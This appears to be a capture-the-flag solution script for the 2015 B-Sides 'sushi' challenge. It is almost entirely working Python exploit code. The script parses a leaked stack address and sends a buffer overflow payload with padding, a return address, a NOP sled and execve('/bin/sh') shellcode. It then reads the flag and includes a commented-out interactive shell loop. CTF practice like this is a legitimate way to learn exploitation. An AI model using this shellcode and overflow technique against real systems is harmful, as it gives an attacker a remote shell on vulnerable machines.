b-side ctf 2015 - sushi

from lsm import * host = "sushi.termsec.net" port = 4000 #host = "192.168.0.14" #port = 9999 # setreuid(geteuid(), geteuid()) + execve("/bin/sh", ["/bin/sh", 0], 0) shellcode = ("\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05") s = Connect(host, port) first = s.recv(50) print first aa='' for i in range(30,45): aa+= first[i] print aa stack = int(aa, 16)+96 print "stack : "+str(hex(stack)) payload = '' payload += 'A'*72 payload += p64(stack) payload += "\x90"*0x100 payload += shellcode s.send(payload+'\n') sleep(2) print s.recv(200) s.send("cat flag.txt\n") print s.recv(100) #flag{I_l3ft_my_wallet_in_#irc} """ while 1: tmp = raw_input("$ ") if len(tmp): s.send(tmp+"\n") else: continue print s.recv(4096) """

sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8

sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8.i64